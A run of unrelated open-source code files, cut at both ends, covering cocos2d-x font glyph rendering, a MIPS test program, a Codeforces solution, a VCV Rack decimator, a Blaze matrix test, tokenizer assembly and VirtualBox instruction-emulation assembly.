MAX(outlineMaxY, glyphMaxY); auto blendWidth = MAX(outlineMaxX, glyphMaxX) - blendImageMinX; auto blendHeight = blendImageMaxY - MIN(outlineMinY, glyphMinY); outRect.origin.x = blendImageMinX; outRect.origin.y = -blendImageMaxY + _outlineSize; long index, index2; auto blendImage = new (std::nothrow) unsigned char[blendWidth * blendHeight * 2]; memset(blendImage, 0, blendWidth * blendHeight * 2); auto px = outlineMinX - blendImageMinX; auto py = blendImageMaxY - outlineMaxY; for (int x = 0; x < outlineWidth; ++x) { for (int y = 0; y < outlineHeight; ++y) { index = px + x + ((py + y) * blendWidth); index2 = x + (y * outlineWidth); blendImage[2 * index] = outlineBitmap[index2]; } } px = glyphMinX - blendImageMinX; py = blendImageMaxY - glyphMaxY; for (int x = 0; x < outWidth; ++x) { for (int y = 0; y < outHeight; ++y) { index = px + x + ((y + py) * blendWidth); index2 = x + (y * outWidth); blendImage[2 * index + 1] = copyBitmap[index2]; } } outRect.size.width = blendWidth; outRect.size.height = blendHeight; outWidth = blendWidth; outHeight = blendHeight; delete [] outlineBitmap; delete [] copyBitmap; ret = blendImage; } invalidChar = false; } while (0); if (invalidChar) { outRect.size.width = 0; outRect.size.height = 0; xAdvance = 0; return nullptr; } else { return ret; } } unsigned char * FontFreeType::getGlyphBitmapWithOutline(unsigned short theChar, FT_BBox &bbox) { unsigned char* ret = nullptr; if (FT_Load_Char(_fontRef, theChar, FT_LOAD_NO_BITMAP) == 0) { if (_fontRef->glyph->format == FT_GLYPH_FORMAT_OUTLINE) { FT_Glyph glyph; if (FT_Get_Glyph(_fontRef->glyph, &glyph) == 0) { FT_Glyph_StrokeBorder(&glyph, _stroker, 0, 1); if (glyph->format == FT_GLYPH_FORMAT_OUTLINE) { FT_Outline *outline = &reinterpret_cast<FT_OutlineGlyph>(glyph)->outline; FT_Glyph_Get_CBox(glyph,FT_GLYPH_BBOX_GRIDFIT,&bbox); long width = (bbox.xMax - bbox.xMin)>>6; long rows = (bbox.yMax - bbox.yMin)>>6; FT_Bitmap bmp; bmp.buffer = new (std::nothrow) unsigned char[width * rows]; memset(bmp.buffer, 0, width * rows); bmp.width = (int)width; bmp.rows = (int)rows; bmp.pitch = (int)width; bmp.pixel_mode = FT_PIXEL_MODE_GRAY; bmp.num_grays = 256; FT_Raster_Params params; memset(&params, 0, sizeof (params)); params.source = outline; params.target = &bmp; params.flags = FT_RASTER_FLAG_AA; FT_Outline_Translate(outline,-bbox.xMin,-bbox.yMin); FT_Outline_Render(_FTlibrary, outline, &params); ret = bmp.buffer; } FT_Done_Glyph(glyph); } } } return ret; } unsigned char * makeDistanceMap( unsigned char *img, long width, long height) { long pixelAmount = (width + 2 * FontFreeType::DistanceMapSpread) * (height + 2 * FontFreeType::DistanceMapSpread); short * xdist = (short *) malloc( pixelAmount * sizeof(short) ); short * ydist = (short *) malloc( pixelAmount * sizeof(short) ); double * gx = (double *) calloc( pixelAmount, sizeof(double) ); double * gy = (double *) calloc( pixelAmount, sizeof(double) ); double * data = (double *) calloc( pixelAmount, sizeof(double) ); double * outside = (double *) calloc( pixelAmount, sizeof(double) ); double * inside = (double *) calloc( pixelAmount, sizeof(double) ); long i,j; // Convert img into double (data) rescale image levels between 0 and 1 long outWidth = width + 2 * FontFreeType::DistanceMapSpread; for (i = 0; i < width; ++i) { for (j = 0; j < height; ++j) { data[j * outWidth + FontFreeType::DistanceMapSpread + i] = img[j * width + i] / 255.0; } } width += 2 * FontFreeType::DistanceMapSpread; height += 2 * FontFreeType::DistanceMapSpread; // Transform background (outside contour, in areas of 0's) computegradient( data, (int)width, (int)height, gx, gy); edtaa3(data, gx, gy, (int)width, (int)height, xdist, ydist, outside); for( i=0; i< pixelAmount; i++) if( outside[i] < 0.0 ) outside[i] = 0.0; // Transform foreground (inside contour, in areas of 1's) for( i=0; i< pixelAmount; i++) data[i] = 1 - data[i]; computegradient( data, (int)width, (int)height, gx, gy); edtaa3(data, gx, gy, (int)width, (int)height, xdist, ydist, inside); for( i=0; i< pixelAmount; i++) if( inside[i] < 0.0 ) inside[i] = 0.0; // The bipolar distance field is now outside-inside double dist; /* Single channel 8-bit output (bad precision and range, but simple) */ unsigned char *out = (unsigned char *) malloc( pixelAmount * sizeof(unsigned char) ); for( i=0; i < pixelAmount; i++) { dist = outside[i] - inside[i]; dist = 128.0 - dist*16; if( dist < 0 ) dist = 0; if( dist > 255 ) dist = 255; out[i] = (unsigned char) dist; } /* Dual channel 16-bit output (more complicated, but good precision and range) */ /*unsigned char *out = (unsigned char *) malloc( pixelAmount * 3 * sizeof(unsigned char) ); for( i=0; i< pixelAmount; i++) { dist = outside[i] - inside[i]; dist = 128.0 - dist*16; if( dist < 0.0 ) dist = 0.0; if( dist >= 256.0 ) dist = 255.999; // R channel is a copy of the original grayscale image out[3*i] = img[i]; // G channel is fraction out[3*i + 1] = (unsigned char) ( 256 - (dist - floor(dist)* 256.0 )); // B channel is truncated integer part out[3*i + 2] = (unsigned char)dist; }*/ free( xdist ); free( ydist ); free( gx ); free( gy ); free( data ); free( outside ); free( inside ); return out; } void FontFreeType::renderCharAt(unsigned char *dest,int posX, int posY, unsigned char* bitmap,long bitmapWidth,long bitmapHeight) { int iX = posX; int iY = posY; if (_distanceFieldEnabled) { auto distanceMap = makeDistanceMap(bitmap,bitmapWidth,bitmapHeight); bitmapWidth += 2 * DistanceMapSpread; bitmapHeight += 2 * DistanceMapSpread; for (long y = 0; y < bitmapHeight; ++y) { long bitmap_y = y * bitmapWidth; for (long x = 0; x < bitmapWidth; ++x) { /* Dual channel 16-bit output (more complicated, but good precision and range) */ /*int index = (iX + ( iY * destSize )) * 3; int index2 = (bitmap_y + x)*3; dest[index] = out[index2]; dest[index + 1] = out[index2 + 1]; dest[index + 2] = out[index2 + 2];*/ //Single channel 8-bit output dest[iX + ( iY * FontAtlas::CacheTextureWidth )] = distanceMap[bitmap_y + x]; iX += 1; } iX = posX; iY += 1; } free(distanceMap); } else if(_outlineSize > 0) { unsigned char tempChar; for (long y = 0; y < bitmapHeight; ++y) { long bitmap_y = y * bitmapWidth; for (int x = 0; x < bitmapWidth; ++x) { tempChar = bitmap[(bitmap_y + x) * 2]; dest[(iX + ( iY * FontAtlas::CacheTextureWidth ) ) * 2] = tempChar; tempChar = bitmap[(bitmap_y + x) * 2 + 1]; dest[(iX + ( iY * FontAtlas::CacheTextureWidth ) ) * 2 + 1] = tempChar; iX += 1; } iX = posX; iY += 1; } delete [] bitmap; } else { for (long y = 0; y < bitmapHeight; ++y) { long bitmap_y = y * bitmapWidth; for (int x = 0; x < bitmapWidth; ++x) { unsigned char cTemp = bitmap[bitmap_y + x]; // the final pixel dest[(iX + ( iY * FontAtlas::CacheTextureWidth ) )] = cTemp; iX += 1; } iX = posX; iY += 1; } } } void FontFreeType::setGlyphCollection(GlyphCollection glyphs, const char* customGlyphs /* = nullptr */) { _usedGlyphs = glyphs; if (glyphs == GlyphCollection::CUSTOM) { _customGlyphs = customGlyphs; } } const char* FontFreeType::getGlyphCollection() const { const char* glyphCollection = nullptr; switch (_usedGlyphs) { case cocos2d::GlyphCollection::DYNAMIC: break; case cocos2d::GlyphCollection::NEHE: glyphCollection = _glyphNEHE; break; case cocos2d::GlyphCollection::ASCII: glyphCollection = _glyphASCII; break; case cocos2d::GlyphCollection::CUSTOM: glyphCollection = _customGlyphs.c_str(); break; default: break; } return glyphCollection; } void FontFreeType::releaseFont(const std::string &fontName) { auto item = s_cacheFontData.begin(); while (s_cacheFontData.end() != item) { if (item->first.find(fontName) != std::string::npos) item = s_cacheFontData.erase(item); else item++; } } NS_CC_END
;courtesy of the following website: https://cs.nyu.edu/courses/fall14/CSCI-UA.0436-001/MIPS_Test_Programs.html sub r0,r0,r0 ; set reg[0] to 0 lw r1,0(r0) ; reg[1] <- mem[0] (= 20) lw r2,0(r1) ; reg[2] <- mem[20] lw r3,4(r1) ; reg[3] <- mem[24] and r4,r2,r3 ; reg[4] <- reg[2] AND reg[3] or r5,r2,r3 ; reg[5] <- reg[2] OR reg[3] sw r4,4(r0) ; mem[4] <- reg[4] sw r5,8(r0) ; mem[8] <- reg[5] beq r0,r0,-1 ; program is over, loop back here
/*************************************************** * Problem Name : A.cpp * Problem Link : https://codeforces.com/contest/1102/problem/A * OJ : Codeforces * Verdict : AC * Date : 2019-01-09 * Problem Type : Div 3 - A * Author Name : Saikat Sharma * University : CSE, MBSTU ***************************************************/ #include<iostream> #include<cstdio> #include<algorithm> #include<climits> #include<cstring> #include<string> #include<sstream> #include<cmath> #include<vector> #include<queue> #include<cstdlib> #include<deque> #include<stack> #include<map> #include<set> #define __FastIO ios_base::sync_with_stdio(false); cin.tie(0); cout.tie(0) #define SET(a,v) memset(a,v,sizeof(a)) #define pii pair<int,int> #define pll pair <ll, ll> #define debug cout <<"#########\n"; #define nl cout << "\n"; #define sp cout << " "; #define sl(n) scanf("%lld", &n) #define sf(n) scanf("%lf", &n) #define si(n) scanf("%d", &n) #define ss(n) scanf("%s", n) #define pf(n) scanf("%d", n) #define pfl(n) scanf("%lld", n) #define all(v) v.begin(), v.end() #define Pow2(x) ((x)*(x)) #define Mod(x, m) ((((x) % (m)) + (m)) % (m)) #define Max3(a, b, c) max(a, max(b, c)) #define Min3(a, b, c) min(a, min(b, c)) #define pb push_back #define mk make_pair #define MAX 100005 #define INF 1000000000 using namespace std; typedef long long ll; typedef unsigned long long ull; template <typename T> std::string NumberToString ( T Number ) { std::ostringstream ss; ss << Number; return ss.str(); } ll lcm (ll a, ll b) { return a * b / __gcd (a, b); } /************************************ Code Start Here ******************************************************/ int main () { //~ __FastIO; ll n; cin >> n; ll x = (n * (n + 1LL) ) / 2LL; if (x % 2 == 0) { cout << 0 << "\n"; } else { cout << 1 << "\n"; } return 0; }
#pragma once #include "dsp/fir.hpp" namespace rack { template<int OVERSAMPLE, int QUALITY> struct Decimator { DoubleRingBuffer<float, OVERSAMPLE*QUALITY> inBuffer; float kernel[OVERSAMPLE*QUALITY]; Decimator(float cutoff = 0.9) { boxcarFIR(kernel, OVERSAMPLE*QUALITY, cutoff * 0.5 / OVERSAMPLE); blackmanHarrisWindow(kernel, OVERSAMPLE*QUALITY); // The sum of the kernel should be 1 float sum = 0.0; for (int i = 0; i < OVERSAMPLE*QUALITY; i++) { sum += kernel[i]; } for (int i = 0; i < OVERSAMPLE*QUALITY; i++) { kernel[i] /= sum; } } float process(float *in) { memcpy(inBuffer.endData(), in, OVERSAMPLE*sizeof(float)); inBuffer.endIncr(OVERSAMPLE); float out = convolve(inBuffer.endData() + OVERSAMPLE*QUALITY, kernel, OVERSAMPLE*QUALITY); // Ignore the ring buffer's start position return out; } }; } // namespace rack
//================================================================================================= /*! // \file src/mathtest/dmatsmatschur/MHbMCb.cpp // \brief Source file for the MHbMCb dense matrix/sparse matrix Schur product math test // // Copyright (C) 2012-2019 Klaus Iglberger - All Rights Reserved // // This file is part of the Blaze library. You can redistribute it and/or modify it under // the terms of the New (Revised) BSD License. Redistribution and use in source and binary // forms, with or without modification, are permitted provided that the following conditions // are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other materials // provided with the distribution. // 3. Neither the names of the Blaze development group nor the names of its contributors // may be used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES // OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT // SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED // TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR // BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN // ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH // DAMAGE. */ //================================================================================================= //************************************************************************************************* // Includes //************************************************************************************************* #include <cstdlib> #include <iostream> #include <blaze/math/CompressedMatrix.h> #include <blaze/math/HybridMatrix.h> #include <blazetest/mathtest/Creator.h> #include <blazetest/mathtest/dmatsmatschur/OperationTest.h> #include <blazetest/system/MathTest.h> #ifdef BLAZE_USE_HPX_THREADS # include <hpx/hpx_main.hpp> #endif //================================================================================================= // // MAIN FUNCTION // //================================================================================================= //************************************************************************************************* int main() { std::cout << " Running 'MHbMCb'..." << std::endl; using blazetest::mathtest::TypeB; try { // Matrix type definitions using MHb = blaze::HybridMatrix<TypeB,128UL,128UL>; using MCb = blaze::CompressedMatrix<TypeB>; // Creator type definitions using CMHb = blazetest::Creator<MHb>; using CMCb = blazetest::Creator<MCb>; // Running tests with small matrices for( size_t i=0UL; i<=6UL; ++i ) { for( size_t j=0UL; j<=6UL; ++j ) { for( size_t k=0UL; k<=i*j; ++k ) { RUN_DMATSMATSCHUR_OPERATION_TEST( CMHb( i, j ), CMCb( i, j, k ) ); } } } // Running tests with large matrices RUN_DMATSMATSCHUR_OPERATION_TEST( CMHb( 67UL, 67UL ), CMCb( 67UL, 67UL, 7UL ) ); RUN_DMATSMATSCHUR_OPERATION_TEST( CMHb( 67UL, 127UL ), CMCb( 67UL, 127UL, 13UL ) ); RUN_DMATSMATSCHUR_OPERATION_TEST( CMHb( 128UL, 64UL ), CMCb( 128UL, 64UL, 8UL ) ); RUN_DMATSMATSCHUR_OPERATION_TEST( CMHb( 128UL, 128UL ), CMCb( 128UL, 128UL, 16UL ) ); } catch( std::exception& ex ) { std::cerr << "\n\n ERROR DETECTED during dense matrix/sparse matrix Schur product:\n" << ex.what() << "\n"; return EXIT_FAILURE; } return EXIT_SUCCESS; } //*************************************************************************************************
.file "a28.c" .section .text.startup,"ax",@progbits .globl main .type main, @function main: pushl %ebx movl $51, %ebx subl $8, %esp movl 16(%esp), %eax leal -37(%eax), %edx cmpl $89, %edx ja .L0000001C.startup .L00000015.startup: movsbl CSWTCH.1-37(%eax), %ebx .L0000001C.startup: movl %eax, 4(%esp) movl %eax, (%esp) call PyToken_TwoChars .L00000028.startup: addl $8, %esp addl %ebx, %eax popl %ebx ret .size main, .-main # ---------------------- .text .globl PyToken_OneChar .type PyToken_OneChar, @function PyToken_OneChar: movl 4(%esp), %edx movl $51, %eax leal -37(%edx), %ecx cmpl $89, %ecx ja .L00000018 .L00000011: movsbl CSWTCH.1-37(%edx), %eax .L00000018: rep; ret .size PyToken_OneChar, .-PyToken_OneChar # ---------------------- .L0000001A: .p2align 3 # ---------------------- .globl PyToken_TwoChars .type PyToken_TwoChars, @function PyToken_TwoChars: movl 4(%esp), %eax movl 8(%esp), %edx subl $33, %eax cmpl $91, %eax jbe .L00000038 .L00000030: movl $51, %eax .L00000035: rep; ret .L00000037: .p2align 3 .L00000038: jmp *.LC00000000(,%eax,4) .L0000003F: .p2align 3 .L00000040: xorl %eax, %eax cmpl $61, %edx setne %al leal 43(,%eax,8), %eax ret .L00000050: cmpl $61, %edx movl $51, %eax movl $29, %edx cmove %edx, %eax ret .L00000061: .p2align 3 .L00000068: cmpl $61, %edx movl $51, %eax movl $41, %edx cmove %edx, %eax ret .L00000079: .p2align 4 .L00000080: xorl %eax, %eax cmpl $61, %edx setne %al leal 42(%eax,%eax,8), %eax ret .L0000008D: .p2align 3 .L00000090: cmpl $42, %edx movl $36, %eax je .L00000035 .L0000009A: cmpl $61, %edx movb $51, %al movl $39, %edx cmove %edx, %eax ret .L000000A8: cmpl $61, %edx movl $51, %eax movl $37, %edx cmove %edx, %eax ret .L000000B9: .p2align 4 .L000000C0: cmpl $61, %edx movl $51, %eax movl $38, %edx cmove %edx, %eax ret .L000000D1: .p2align 3 .L000000D8: cmpl $47, %edx movl $48, %eax je .L00000035 .L000000E6: cmpl $61, %edx movb $51, %al movl $40, %edx cmove %edx, %eax ret .L000000F4: .p2align 3 .L000000F8: cmpl $61, %edx movl $51, %eax movl $28, %edx cmove %edx, %eax ret .L00000109: .p2align 4 .L00000110: cmpl $61, %edx movl $31, %eax je .L00000035 .L0000011E: cmpl $62, %edx movb $51, %al movl $35, %edx cmove %edx, %eax ret .L0000012C: .p2align 3 .L00000130: cmpl $61, %edx movl $51, %eax movl $44, %edx cmove %edx, %eax ret .size PyToken_TwoChars, .-PyToken_TwoChars # ---------------------- .section .rodata .align 32 .LC00000000: .long .L00000050 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000068 .long .L00000080 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000090 .long .L000000A8 .long .L00000030 .long .L000000C0 .long .L00000030 .long .L000000D8 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L000000F8 .long .L00000110 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000130 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000030 .long .L00000040 .zero 16 # ---------------------- .local CSWTCH.1 .type CSWTCH.1, @object CSWTCH.1: .ascii "\03033333333\02733333333333\01333\026\0253233333333333333333333333333333!3\03133333333333333333333333333\0323\033 " .size CSWTCH.1, 90 # ---------------------- .ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" .section .note.GNU-stack,"",@progbits
; $Id: EMAllA.asm 69221 2017-10-24 15:07:46Z vboxsync $ ;; @file ; EM Assembly Routines. ; ; ; Copyright (C) 2006-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "VBox/asmdefs.mac" %include "VBox/err.mac" %include "iprt/x86.mac" ;; @def MY_PTR_REG ; The register we use for value pointers (And,Or,Dec,Inc,XAdd). %ifdef RT_ARCH_AMD64 %define MY_PTR_REG rcx %else %define MY_PTR_REG ecx %endif ;; @def MY_RET_REG ; The register we return the result in. %ifdef RT_ARCH_AMD64 %define MY_RET_REG rax %else %define MY_RET_REG eax %endif ;; @def RT_ARCH_AMD64 ; Indicator for whether we can deal with 8 byte operands. (Darwin fun again.) %ifdef RT_ARCH_AMD64 %define CAN_DO_8_BYTE_OP 1 %endif BEGINCODE ;; ; Emulate CMP instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateCmp(uint32_t u32Param1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] rdi rcx Param 1 - First parameter (Dst). ; @param [esp + 08h] rsi edx Param 2 - Second parameter (Src). ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; align 16 BEGINPROC EMEmulateCmp %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef RT_ARCH_AMD64 cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: cmp rcx, rdx ; do 8 bytes CMP jmp short .done %endif .do_dword: cmp ecx, edx ; do 4 bytes CMP jmp short .done .do_word: cmp cx, dx ; do 2 bytes CMP jmp short .done .do_byte: cmp cl, dl ; do 1 byte CMP ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateCmp ;; ; Emulate AND instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateAnd(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateAnd %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: and [MY_PTR_REG], rdx ; do 8 bytes AND jmp short .done %endif .do_dword: and [MY_PTR_REG], edx ; do 4 bytes AND jmp short .done .do_word: and [MY_PTR_REG], dx ; do 2 bytes AND jmp short .done .do_byte: and [MY_PTR_REG], dl ; do 1 byte AND ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateAnd ;; ; Emulate LOCK AND instruction. ; VMMDECL(int) EMEmulateLockAnd(void *pvParam1, uint64_t u64Param2, size_t cbSize, RTGCUINTREG32 *pf); ; ; @returns VINF_SUCCESS on success, VERR_ACCESS_DENIED on \#PF (GC only). ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item (the real stuff). ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter- the immediate / register value. ; @param [esp + 10h] gcc:rdx msc:r8 Param 3 - Size of the operation - 1, 2, 4 or 8 bytes. ; @param [esp + 14h] gcc:rcx msc:r9 Param 4 - Where to store the eflags on success. ; only arithmetic flags are valid. align 16 BEGINPROC EMEmulateLockAnd %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov r9, rcx ; r9 = eflags result ptr mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter (MY_PTR_REG) mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: lock and [MY_PTR_REG], rdx ; do 8 bytes OR jmp short .done %endif .do_dword: lock and [MY_PTR_REG], edx ; do 4 bytes OR jmp short .done .do_word: lock and [MY_PTR_REG], dx ; do 2 bytes OR jmp short .done .do_byte: lock and [MY_PTR_REG], dl ; do 1 byte OR ; collect flags and return. .done: pushf %ifdef RT_ARCH_AMD64 pop rax mov [r9], eax %else ; !RT_ARCH_AMD64 mov eax, [esp + 14h + 4] pop dword [eax] %endif mov eax, VINF_SUCCESS retn ENDPROC EMEmulateLockAnd ;; ; Emulate OR instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateOr(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateOr %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: or [MY_PTR_REG], rdx ; do 8 bytes OR jmp short .done %endif .do_dword: or [MY_PTR_REG], edx ; do 4 bytes OR jmp short .done .do_word: or [MY_PTR_REG], dx ; do 2 bytes OR jmp short .done .do_byte: or [MY_PTR_REG], dl ; do 1 byte OR ; collect flags and return. .done: pushf pop MY_RET_REG retn ENDPROC EMEmulateOr ;; ; Emulate LOCK OR instruction. ; VMMDECL(int) EMEmulateLockOr(void *pvParam1, uint64_t u64Param2, size_t cbSize, RTGCUINTREG32 *pf); ; ; @returns VINF_SUCCESS on success, VERR_ACCESS_DENIED on \#PF (GC only). ; @param [esp + 04h] gcc:rdi msc:rcx Param 1 - First parameter - pointer to data item (the real stuff). ; @param [esp + 08h] gcc:rsi msc:rdx Param 2 - Second parameter- the immediate / register value. ; @param [esp + 10h] gcc:rdx msc:r8 Param 3 - Size of the operation - 1, 2, 4 or 8 bytes. ; @param [esp + 14h] gcc:rcx msc:r9 Param 4 - Where to store the eflags on success. ; only arithmetic flags are valid. align 16 BEGINPROC EMEmulateLockOr %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov r9, rcx ; r9 = eflags result ptr mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter (MY_PTR_REG) mov edx, [esp + 08h] ; edx = second parameter %endif ; switch on size %ifdef CAN_DO_8_BYTE_OP cmp al, 8 je short .do_qword ; 8 bytes variant %endif cmp al, 4 je short .do_dword ; 4 bytes variant cmp al, 2 je short .do_word ; 2 byte variant cmp al, 1 je short .do_byte ; 1 bytes variant int3 ; workers %ifdef RT_ARCH_AMD64 .do_qword: lock or [MY_PTR_REG], rdx ; do 8 bytes OR jmp short .done %endif .do_dword: lock or [MY_PTR_REG], edx ; do 4 bytes OR jmp short .done .do_word: lock or [MY_PTR_REG], dx ; do 2 bytes OR jmp short .done .do_byte: lock or [MY_PTR_REG], dl ; do 1 byte OR ; collect flags and return. .done: pushf %ifdef RT_ARCH_AMD64 pop rax mov [r9], eax %else ; !RT_ARCH_AMD64 mov eax, [esp + 14h + 4] pop dword [eax] %endif mov eax, VINF_SUCCESS retn ENDPROC EMEmulateLockOr ;; ; Emulate XOR instruction, CDECL calling conv. ; VMMDECL(uint32_t) EMEmulateXor(void *pvParam1, uint64_t u64Param2, size_t cb); ; ; @returns EFLAGS after the operation, only arithmetic flags are valid. ; @param [esp + 04h] Param 1 - First parameter - pointer to data item. ; @param [esp + 08h] Param 2 - Second parameter. ; @param [esp + 10h] Param 3 - Size of parameters, only 1/2/4/8 (64 bits host only) is valid. ; @uses eax, ecx, edx ; align 16 BEGINPROC EMEmulateXor %ifdef RT_ARCH_AMD64 %ifdef RT_OS_WINDOWS mov rax, r8 ; eax = size of parameters %else ; !RT_OS_WINDOWS mov rax, rdx ; rax = size of parameters mov rcx, rdi ; rcx = first parameter mov rdx, rsi ; rdx = second parameter %endif ; !RT_OS_WINDOWS %else ; !RT_ARCH_AMD64 mov eax, [esp + 10h] ; eax = size of parameters mov ecx, [esp + 04h] ; ecx = first parameter mov edx, [esp + 